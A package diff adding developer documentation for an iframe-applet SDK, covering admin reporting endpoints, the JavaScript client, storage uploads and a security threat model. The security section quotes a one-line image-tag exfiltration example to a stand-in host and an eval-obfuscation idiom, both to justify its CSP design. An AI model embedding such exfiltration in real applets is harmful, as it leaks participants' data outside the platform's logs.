@ziprack/sdk 0.1.1 → 0.2.0

package/dist/docs/reporting.md

@@ -0,0 +1,146 @@
+# Reporting
+
+- [Composition](#composition)
+- [The Admin API](#the-admin-api)
+- [Preview Runs](#preview-runs)
+- [The CSV Export](#the-csv-export)
+- [Metrics](#metrics)
+- [Response Analysis](#response-analysis)
+- [Building a UI](#building-a-ui)
+
+<a name="composition"></a>
+## Composition
+
+`ziprack/admin` is **headless**: JSON endpoints, export and report services, no pages. The
+deployment skeleton owns the UI, and replacing it entirely is expected — the API is the contract,
+the pages are not.
+
+The admin composes from declared capabilities rather than assuming every applet is a simulation.
+Ask a Rack what to render:
+
+```http
+GET /ziprack/admin/applets/{applet}/panels
+```
+
+```json
+{
+  "declared": ["activity@1", "attempt@1", "auth@1"],
+  "panels": ["activity", "attempt", "auth"],
+  "implemented": ["activity@1", "ai@1", "attempt@1", "auth@1", "broadcast@1", "db@1", "storage@1"]
+}
+```
+
+`panels` is the intersection of what the current version declares and what this Rack implements —
+render exactly those and nothing else.
+
+| Declared | Renders |
+|---|---|
+| `attempt@1` | Attempts started and completed, completion rate, metric cards |
+| `activity@1` | Statement log per attempt; CSV export |
+| `db@1` | Record browser per collection, from the declared JSON Schema |
+| `storage@1` | Uploaded artifact gallery, scoped and permissioned |
+| `ai@1` | Per-prompt spend and call volume |
+| `broadcast@1` | Room history, participation by role, facilitator timeline |
+
+<a name="the-admin-api"></a>
+## The Admin API
+
+All routes sit under `ziprack-admin.prefix` (default `/ziprack/admin`) behind `web`, `auth` and the
+`ziprack.admin` gate — which defaults to `$user->is_admin` and can be redefined by the deployment.
+
+| Route | Purpose |
+|---|---|
+| `GET status` | Format, core version, capabilities, warnings |
+| `GET applets` · `POST applets` | List and create |
+| `GET applets/{applet}` · `PATCH applets/{applet}` | Show and update |
+| `GET applets/{applet}/panels` | What to render |
+| `POST versions/upload` · `POST applets/{applet}/versions` | Install a package |
+| `GET applets/{applet}/versions/{version}` | Manifest, requires diff, SBOM, OSV findings, publisher |
+| `POST …/{version}/approve` · `…/promote` · `…/retire` | The publishing actions |
+| `GET review-queue` | Everything awaiting a decision |
+| `GET participants` · `GET audit-log` | People and capability calls |
+
+Capability packages add their own, and only when installed:
+
+| Route | Capability |
+|---|---|
+| `GET applets/{applet}/overview` · `…/attempts` · `…/attempts/{attempt}` | `attempt` |
+| `GET applets/{applet}/attempts/{attempt}/statements` · `…/export.csv` · `…/metrics` | `activity` |
+| `GET applets/{applet}/collections` · `…/collections/{name}/records` | `db` |
+| `GET applets/{applet}/files` | `storage` |
+| `GET applets/{applet}/ai/spend` · `…/ai/calls` | `ai` |
+| `GET applets/{applet}/rooms` · `POST rooms` · `GET rooms/{room}` · `POST rooms/{room}/status` · `GET rooms/{room}/events` | `broadcast` |
+| `GET participants/{participant}/profile` · `PUT …` | `auth` |
+
+<a name="preview-runs"></a>
+## Preview Runs
+
+Every attempt query above — the table, the overview counts, the metric cards and the CSV export —
+returns **live attempts only** unless told otherwise:
+
+| `?preview=` | Returns |
+|---|---|
+| *(absent)* · `live` | Real runs. The default, and what a report should almost always show. |
+| `preview` | Staff [preview runs](attempts.md#preview-runs) only |
+| `all` | Both, with `is_preview` on each row to tell them apart |
+
+An unrecognised value falls back to `live` rather than erroring, so a stale bookmark cannot quietly
+turn preview data into a report.
+
+<a name="the-csv-export"></a>
+## The CSV Export
+
+`GET /ziprack/admin/applets/{applet}/export.csv` produces one row per attempt:
+
+```
+ID, Name, Email, {first segment label}, Status, Started At, Completed At,
+{declared activities in sequence order, headed by label},
+{undeclared activity ids that appeared, appended}
+```
+
+Each activity cell is the **last** `result.response` for that activity in that attempt; non-scalar
+values are JSON-encoded, and duplicate labels are disambiguated so the header row stays usable.
+
+This is the one artifact every applet declaring `activity@1` produces identically, which is what
+makes it worth protecting. The authoring consequences are covered in
+[Designing for the Export](activity.md#designing-for-the-export) and are unchanged from `cn-sim/1`:
+`id` is the data contract, `label` is the header, renaming either has consequences.
+
+<a name="metrics"></a>
+## Metrics
+
+`GET /ziprack/admin/applets/{applet}/metrics` computes each declared
+[metric](activity.md#metrics) over completed attempts: the pre mean, the post mean and the shift,
+sliceable by the primary segment. Metrics need `attempt@1` as well as `activity@1`, which the
+manifest validator enforces at upload rather than leaving to discover at report time.
+
+<a name="response-analysis"></a>
+## Response Analysis
+
+The admin can summarise free-text answers across attempts:
+
+```sh
+php artisan ziprack:response-analysis --applet=my-applet
+```
+
+```http
+GET  /ziprack/admin/applets/{applet}/response-analysis
+POST /ziprack/admin/applets/{applet}/response-analysis/refresh
+```
+
+Summaries regenerate only for applets whose answers changed; schedule the command every few hours.
+
+**This is a Rack feature, not an applet capability.** It operates on collected statements from any
+applet declaring `activity@1`, whether or not that applet uses [`ai@1`](ai.md). The two are budgeted
+and configured separately, and conflating them is the mistake this note exists to prevent.
+
+<a name="building-a-ui"></a>
+## Building a UI
+
+The skeleton ships a reference admin over these endpoints. When you replace it:
+
+1. Call `/panels` first and render from the answer. Hard-coding panels breaks the moment a Rack runs
+   a different capability set.
+2. Render `db@1` record tables from the collection's declared JSON Schema — the schema is there
+   precisely so the UI does not need per-applet knowledge.
+3. Treat the review queue as the landing page. It is where the decisions are.

package/dist/docs/sdk.md

@@ -0,0 +1,258 @@
+# The JavaScript SDK
+
+- [Installation](#installation)
+- [Booting](#booting)
+- [Launch Data](#launch-data)
+- [Acks and Errors](#acks-and-errors)
+- [Events](#events)
+- [Mock Mode](#mock-mode)
+- [Testing](#testing)
+- [Leaving the Applet](#leaving-the-applet)
+- [The MCP Server](#the-mcp-server)
+
+<a name="installation"></a>
+## Installation
+
+```sh
+npm install @ziprack/sdk
+```
+
+```ts
+import { Rack } from '@ziprack/sdk';
+```
+
+`Rack` is a singleton — one per frame, which is what an applet always is. `createRack()` returns a
+fresh client for tests or unusual multi-frame setups.
+
+A Rack also serves an IIFE build at `/ziprack/assets/sdk.js` that exposes `window.Rack` (and
+`window.ZipRack`), for applets with no build step. It is the same code; prefer the npm package when you have a bundler, because mock
+mode and the test host come with it.
+
+<a name="booting"></a>
+## Booting
+
+```ts
+const launch = await Rack.init({ slug: 'my-applet' });
+```
+
+`init()` announces `rack:ready` to the parent, waits for `rack:launch`, and resolves with the launch
+payload. It is safe to call repeatedly: subsequent calls return the same promise. Calls made before
+the handshake completes are queued, not dropped, so you never have to gate your UI on initialisation
+order.
+
+| Option | Default | Purpose |
+|---|---|---|
+| `slug` | — | Labels the mock session and locates `./manifest.json` when standalone. |
+| `launchTimeoutMs` | `3000` | How long to wait for `rack:launch` before falling back to mock mode. |
+| `ackTimeoutMs` | `5000` | Per-call ack timeout. Streamed calls reset it per chunk. |
+| `manifestUrl` | `./manifest.json` | Where mock mode reads your manifest. |
+| `transport` | — | Inject a transport (tests). Skips the handshake and mock detection. |
+
+`Rack.mode` is `'pending'`, `'host'` or `'mock'`. `Rack.launched` tells you whether launch data has
+arrived.
+
+<a name="launch-data"></a>
+## Launch Data
+
+Everything the Rack is willing to tell you up front arrives in one payload — there is no second
+round trip to fetch the participant, the attempt or the manifest.
+
+```ts
+interface LaunchData {
+    schema: 'ziprack/1';
+    actor: { id: number; name: string };
+    applet: { slug: string; name: string; version: string };
+    capabilities: string[];                  // as declared, e.g. ['auth@1', 'db@1']
+    media: Record<string, MediaEmbed>;       // Rack-built player URLs by declared id
+
+    auth?:      { user: LaunchUser };
+    attempt?:   { id, status, state, segment };
+    activity?:  { activities: LaunchActivity[] };
+    db?:        { collections: Array<{ name, scope }> };
+    storage?:   { uploads: Array<{ name, scope, mime, max_bytes }> };
+    ai?:        { prompts: Array<{ id, mode }> };
+    broadcast?: { room, role, members, state, channels };
+}
+```
+
+Each capability contributes its own key, and only when declared. The typed accessors read from the
+same payload, so `Rack.auth.user()`, `Rack.attempt.state()` and `Rack.activity.activities()` are
+synchronous and free.
+
+```ts
+Rack.on('launch', (data) => render(data));   // fires immediately if already launched
+Rack.declares('broadcast');                  // did the manifest declare it?
+```
+
+<a name="acks-and-errors"></a>
+## Acks and Errors
+
+**Every SDK call resolves to an `AckResult` and never throws.** There is no `try`/`catch` ceremony
+around a capability call; there is a branch on `ok`.
+
+```ts
+interface AckResult<T> {
+    ok: boolean;
+    data?: T;
+    error?: AckErrorCode;
+    message?: string;     // human-readable, safe to log, not to show
+    details?: object;     // validation errors, keyed by field
+}
+```
+
+```ts
+const result = await Rack.db.collection('ideas').create({ title, status: 'draft' });
+
+if (! result.ok) {
+    if (result.error === 'quota_exceeded') return showFull();
+    return showRetry();
+}
+
+const idea = result.data.record;
+```
+
+| Code | Means |
+|---|---|
+| `timeout` | No ack within the timeout. The shell retries the batch once; this is what you see after that. |
+| `disposed` | The client was torn down while the call was in flight. |
+| `persist_failed` | The Rack could not process the message. Already reported server-side. |
+| `undeclared_capability` | The manifest does not declare it — a packaging bug, not a runtime condition. |
+| `unknown_type` | Malformed or unimplemented message type. |
+| `validation` | Payload failed the handler's rules or a declared schema. See `details`. |
+| `forbidden` | Permitted by the manifest, refused for this participant (not the owner, not the facilitator). |
+| `completed` | The attempt is finished; state, segment and attempt-scoped records are frozen. |
+| `quota_exceeded` | Collection full, upload slot full, file too large. |
+| `budget_exceeded` | An `ai@1` budget was reached. |
+| `not_found` | Unknown record, file, channel or collection. |
+| `conflict` | A concurrent write lost. |
+
+**Do not block the participant on an ack.** The shell batches messages on a 300 ms window (up to 50
+per request) and coalesces `attempt:state` so only the latest value is sent. Fire and forget for
+progress and state; `await` only what you must confirm — typically the last answer before
+`complete()`.
+
+```ts
+void Rack.attempt.setState({ step: 4 });             // fire and forget
+await Rack.activity.answer('outro.confidence', 5);   // confirm, then:
+await Rack.attempt.complete();
+```
+
+<a name="events"></a>
+## Events
+
+The Rack pushes events into the frame — room broadcasts, presence changes, role grants. Subscribe
+through the capability that owns them (see [Broadcast](broadcast.md)), or read the raw stream:
+
+```ts
+Rack.on('event', ({ event, payload, channel, from }) => {
+    console.log(event, payload, channel, from?.participant_id);
+});
+```
+
+<a name="mock-mode"></a>
+## Mock Mode
+
+Run `npm run dev` and there is no Rack, so the SDK becomes one. Mock mode reads your
+`./manifest.json` and services every capability locally — which means declared capabilities,
+activities, collections, prompts and uploads behave exactly as they will in production, including
+refusing calls the manifest did not declare.
+
+```
+[ziprack] running in mock mode (not embedded in a Rack)
+[ziprack mock] activity:statement { verb: 'answered', … }
+```
+
+| Surface | Mock behaviour |
+|---|---|
+| `attempt` | State and status persist in `localStorage` under `ziprack-mock:{slug}:*`. Refresh resumes. |
+| `activity` | Statements are logged and kept in memory. |
+| `db` | Records persist in `localStorage`, validated against the declared schema. |
+| `storage` | Files are held as blob URLs and marked clean. |
+| `ai` | Returns a stub conforming to `output_schema` — or your own handler. |
+| `broadcast` | Uses `BroadcastChannel`, so **two tabs of your dev server form a room**. |
+
+Two hooks exist only in mock mode:
+
+```ts
+Rack.mock.ai('score_pitch', (vars) => ({ clarity: 4, feedback: `Nice work on "${vars.pitch}"` }));
+Rack.mock.resetAttempt();   // replay a completed attempt
+```
+
+Mock mode also engages if a real Rack fails to answer `rack:launch` within `launchTimeoutMs`. That
+is a deliberate development convenience, and the console says so — if you see it in production,
+something is wrong with the shell, not with your applet.
+
+<a name="testing"></a>
+## Testing
+
+`@ziprack/sdk/testing` ships an in-memory Rack you can assert against.
+
+```ts
+import { createRack } from '@ziprack/sdk';
+import { FakeHost } from '@ziprack/sdk/testing';
+import manifest from '../public/manifest.json';
+
+it('records the answer and completes exactly once', async () => {
+    const host = new FakeHost(manifest);
+    const rack = createRack();
+    await rack.init({ transport: host.transport() });
+
+    await rack.activity.answer('intro.confidence', 5);
+    await rack.attempt.complete();
+    await rack.attempt.complete();                      // idempotent
+
+    expect(host.answers()).toEqual({ 'intro.confidence': 5 });
+    expect(host.attempt().status).toBe('completed');
+});
+```
+
+| Member | Gives you |
+|---|---|
+| `host.transport()` | Pass to `rack.init({ transport })`. |
+| `host.statements` | Every statement the applet emitted, in order. |
+| `host.answers()` | The last `answered` value per activity — what reporting would export. |
+| `host.attempt()`, `host.records(name)`, `host.files()` | Persisted state. |
+| `host.push(event)` | Push a `rack:event` in, as the Rack would, to drive broadcast handlers. |
+
+<a name="leaving-the-applet"></a>
+## Leaving the Applet
+
+```ts
+Rack.eject();
+```
+
+Asks the Rack to navigate away — back to the applet list, or wherever the deployment sends people.
+It needs no capability and takes no ack. In mock mode it logs what would have happened.
+
+<a name="the-mcp-server"></a>
+## The MCP Server
+
+```sh
+npx ziprack-mcp
+```
+
+The SDK ships a stdio MCP server that gives an AI assistant these docs and the applet authoring
+guidelines. The docs are bundled into the package when it is published, so what the assistant reads
+always matches the SDK version in your `node_modules`, not whatever it remembers of an older one. The
+starter already includes the configuration in `.mcp.json`:
+
+```json
+{
+    "mcpServers": {
+        "ziprack": {
+            "command": "npx",
+            "args": ["ziprack-mcp"]
+        }
+    }
+}
+```
+
+| Tool | Purpose |
+|---|---|
+| `ziprack_guidelines` | The rules every applet follows (`ziprack-1-authoring.md`). Read before writing applet code. |
+| `ziprack_list_docs` | Every doc in reading order, with its section anchors. |
+| `ziprack_search_docs` | The best-matching sections, in full, for one or more phrasings. |
+| `ziprack_read_doc` | One doc, or one section of it by anchor. |
+
+Every answer names the SDK version it came from. `ziprack-studio mcp` includes the same four tools,
+so a Studio project needs only the one server.

package/dist/docs/security.md

@@ -0,0 +1,127 @@
+# Security
+
+- [The Boundary](#the-boundary)
+- [The Sandbox](#the-sandbox)
+- [The Content Security Policy](#the-content-security-policy)
+- [Tokens and Sessions](#tokens-and-sessions)
+- [Threats the Boundary Does Not Cover](#threats-the-boundary-does-not-cover)
+- [Static Analysis](#static-analysis)
+
+<a name="the-boundary"></a>
+## The Boundary
+
+Two mechanisms do essentially all of the work: the iframe sandbox and the Content Security Policy.
+Everything else in zipRACK — declared capabilities, quotas, budgets, review queues — is defence in
+depth over those two.
+
+The reason to be strict about which is which: sandbox and CSP hold against a *hostile* applet. The
+declaration model holds against a *careless* one, and gives a reviewer something to read. Do not
+lean on the second where the first is what is needed.
+
+<a name="the-sandbox"></a>
+## The Sandbox
+
+```html
+<iframe sandbox="allow-scripts allow-forms allow-popups allow-popups-to-escape-sandbox"
+        allow="autoplay; fullscreen; picture-in-picture; encrypted-media"
+        src="/ziprack/pkg/{token}/index.html"></iframe>
+```
+
+`allow-same-origin` is absent, and that absence is the whole design. The applet document has an
+opaque origin, which means:
+
+- No cookies, no `localStorage`, no `sessionStorage`, no `IndexedDB`.
+- No credentialed requests, and no useful requests to the Rack at all.
+- No access to the parent DOM.
+- Nested frames inherit the flags, so an embedded player is equally contained.
+
+Communication is `postMessage` only, and the host honours a message solely when `event.source` is
+the applet's `contentWindow`. Origin is never compared, because an opaque origin makes comparison
+meaningless — a detail worth understanding before anyone "fixes" it.
+
+<a name="the-content-security-policy"></a>
+## The Content Security Policy
+
+Served with the applet's entry document. **Directives are fixed in the middleware**; a deployment may
+add approved hosts, never a bare scheme.
+
+| Directive | Value |
+|---|---|
+| `default-src` | `'self'` |
+| `script-src` | `'self' 'unsafe-inline' 'unsafe-eval' blob:` |
+| `style-src` | `'self' 'unsafe-inline'` + configured font CDNs |
+| `font-src` | `'self' data:` + configured font CDNs |
+| `img-src` | `'self' data: blob:` + deployment allowlist |
+| `media-src` | `'self' blob:` + deployment allowlist |
+| `connect-src` | `'self'` |
+| `frame-src` | the allowlisted media providers' player hosts, else `'none'` |
+| `frame-ancestors`, `base-uri`, `form-action` | `'self'` |
+
+**Why `img-src` matters more than it looks.** A hostile applet can exfiltrate anything it holds with
+a single tag:
+
+```html
+<img src="https://evil.example/?d=…">
+```
+
+That request fires without touching any Rack surface, leaves no statement, and appears in no log the
+Rack controls. Tightening `img-src` and `media-src` to `'self' data: blob:` plus an explicit
+allowlist closes it, and costs nothing in capability, because applets already ship their own assets.
+It is the single highest-value security control in the framework.
+
+The config accepts hosts, and only hosts:
+
+```php
+'csp' => [
+    'img_hosts' => ['cdn.client.example'],     // ZIPRACK_CSP_IMG_HOSTS
+    'media_hosts' => [],
+],
+```
+
+`https:`, `http:`, `*`, `https://*` and anything containing a wildcard are rejected outright;
+`ContentSecurityPolicy::violations()` reports attempts, and `ziprack:status` surfaces them. A host
+without a scheme is normalised to `https://`.
+
+External media that genuinely must load from elsewhere routes through the Rack's `/cdn/...` proxy
+instead of loosening the policy.
+
+<a name="tokens-and-sessions"></a>
+## Tokens and Sessions
+
+- **Package asset token.** Applet files are served from `/ziprack/pkg/{token}/…` with a signed token
+  scoped to one version, expiring after `ziprack.asset_token_ttl_hours` (6). The extraction disk is
+  never publicly served.
+- **Launch session.** Capability calls go to `/ziprack/s/{session}/messages` with a token in the
+  path — no session cookie, no CSRF, stateless by design, rate limited, expiring after
+  `ziprack.session_ttl_hours` (6). The session is what binds a message to a participant, a version,
+  an attempt and a room; nothing in the payload can widen that scope.
+- **Signed file URLs.** `storage@1` hands out short-lived URLs, never object keys.
+- **Channel authentication.** The Rack signs its own WebSocket subscriptions. No token reaches the
+  frame.
+
+<a name="threats-the-boundary-does-not-cover"></a>
+## Threats the Boundary Does Not Cover
+
+**Credential phishing inside the frame.** An applet can render a convincing fake login form. The
+mitigations are persistent Rack chrome that cannot be spoofed from inside the frame, plus a stated
+and enforced policy: *applets never ask participants for credentials.* Treat a package that does as
+a publishing violation, not a bug.
+
+**LLM budget abuse.** An applet with `ai@1` can burn tokens. Budgets are hard caps enforced
+server-side at every layer — per prompt, per attempt, per participant, per applet per day, per Rack
+per month — never advisory numbers.
+
+**Record and storage flooding.** Per-scope quotas, declared in the manifest and capped by the
+deployment regardless of what the manifest asks for.
+
+**Supply chain.** The SBOM is self-attested. OSV findings catch negligence; the
+[capability diff](publishing.md#capability-diff-review) is what catches the realistic attack, which
+is a benign v1 followed by a quietly wider v2.
+
+<a name="static-analysis"></a>
+## Static Analysis
+
+AST scanning of shipped applet JavaScript was considered and **dropped**. Applets ship minified with
+mangled identifiers, and any check is defeated by trivial obfuscation — `window["ev"+"al"]` — so it
+would produce false confidence and a maintenance burden without raising the bar. The CSP does the
+work static analysis was being asked to do, and does it at runtime, where it cannot be evaded.

package/dist/docs/storage.md

@@ -0,0 +1,131 @@
+# Storage — `storage@1`
+
+- [Introduction](#introduction)
+- [Declaring Upload Slots](#declaring-upload-slots)
+- [Uploading](#uploading)
+- [Reading Files Back](#reading-files-back)
+- [Scanning](#scanning)
+- [Quotas and Limits](#quotas-and-limits)
+
+<a name="introduction"></a>
+## Introduction
+
+`storage@1` lets a participant put a file into the Rack: a photo, a drawing, a recorded reflection,
+a document. The applet never sees a bucket, a key or a presigned URL to anything but its own files,
+and a file is not addressable at all until a scanner has marked it clean.
+
+<a name="declaring-upload-slots"></a>
+## Declaring Upload Slots
+
+An **upload** is a named slot with a scope and a MIME allowlist. Files always belong to a slot.
+
+```json
+"uploads": [
+    { "name": "artifacts", "scope": "room",    "mime": ["image/png", "image/jpeg"], "max_bytes": 5242880, "max_files": 10 },
+    { "name": "reflection", "scope": "attempt", "mime": ["audio/*"],                 "max_bytes": 10485760 }
+]
+```
+
+| Field | Rules |
+|---|---|
+| `name` | Required. `^[a-z][a-z0-9_]*$`, max 40, unique. |
+| `scope` | Required. `attempt`, `user`, `room` or `applet`. Same meaning as [db scopes](database.md#scopes). |
+| `mime` | Required, at least one. `type/subtype` or `type/*`. |
+| `max_bytes` | Optional. Default 10 MB, ceiling 50 MB (`ziprack-storage.max_bytes_cap`). |
+| `max_files` | Optional. Default 20, ceiling 500. |
+
+`attempt` scope requires `attempt@1`; `room` scope requires `broadcast@1`.
+
+<a name="uploading"></a>
+## Uploading
+
+```ts
+input.addEventListener('change', async () => {
+    const file = input.files?.[0];
+    if (! file) return;
+
+    const result = await Rack.storage.put('artifacts', file, { caption: caption.value });
+
+    if (! result.ok) {
+        return showError(result.error === 'quota_exceeded'
+            ? 'That slot is full.'
+            : 'We could not accept that file.');
+    }
+
+    render(result.data.file);   // status is usually 'pending' at this point
+});
+```
+
+The `File` travels to the shell by structured clone and is re-sent as multipart to the Rack — it
+never becomes JSON, and it never leaves the frame as your own `fetch`. The ack timeout for
+`storage:put` is 120 s rather than the usual 5 s, because upload time is participant time.
+
+A stored file looks like:
+
+```ts
+interface StoredFile {
+    id: string;
+    upload: string;                                       // the slot name
+    name: string;
+    mime: string;
+    bytes: number;
+    status: 'pending' | 'clean' | 'infected' | 'failed';
+    created_at: string;
+}
+```
+
+<a name="reading-files-back"></a>
+## Reading Files Back
+
+```ts
+const { data } = await Rack.storage.list('artifacts');    // omit the slot for all of them
+
+const url = await Rack.storage.url(file.id);
+if (url.ok) img.src = url.data.url;                        // expires; refetch rather than cache
+
+await Rack.storage.delete(file.id);
+```
+
+`url()` returns a short-lived signed URL — 10 minutes by default
+(`ziprack-storage.url_ttl_minutes`) — and never an object key. Do not store it: request it when you
+are about to render, and request it again if the participant leaves the page open.
+
+`url()` on a file that is not yet `clean` fails. Render pending files as placeholders and refresh:
+
+```ts
+if (file.status === 'pending') {
+    setTimeout(async () => {
+        const again = await Rack.storage.list('artifacts');
+        // …look for this id, re-render when it turns clean
+    }, 2000);
+}
+```
+
+<a name="scanning"></a>
+## Scanning
+
+Uploads are scanned before they become addressable. The deployment picks the scanner:
+
+```
+ZIPRACK_SCANNER=clamav     # streams the file to clamd over TCP
+ZIPRACK_SCANNER=null       # development only: passes everything, marks clean
+```
+
+`php artisan ziprack:status` warns while a Rack is running the null scanner, and that warning should
+be taken seriously before a deployment accepts participant files from anyone.
+
+An `infected` file is never addressable, and the participant sees a failure rather than a mystery.
+
+<a name="quotas-and-limits"></a>
+## Quotas and Limits
+
+Enforced server-side, per slot and per scope, regardless of what the manifest asks for:
+
+- `max_bytes` per file, capped at 50 MB for the deployment.
+- `max_files` per scope, capped at 500.
+- The MIME allowlist. A file whose type is not in the slot's list is refused with `validation`,
+  which is not a substitute for setting `accept` on your `<input>` — do both, for the participant's
+  sake.
+
+Uploads count against the applet, so an applet declaring an unbounded-feeling slot in a long-running
+room is the realistic way to fill a disk. Declare the smallest slot that does the job.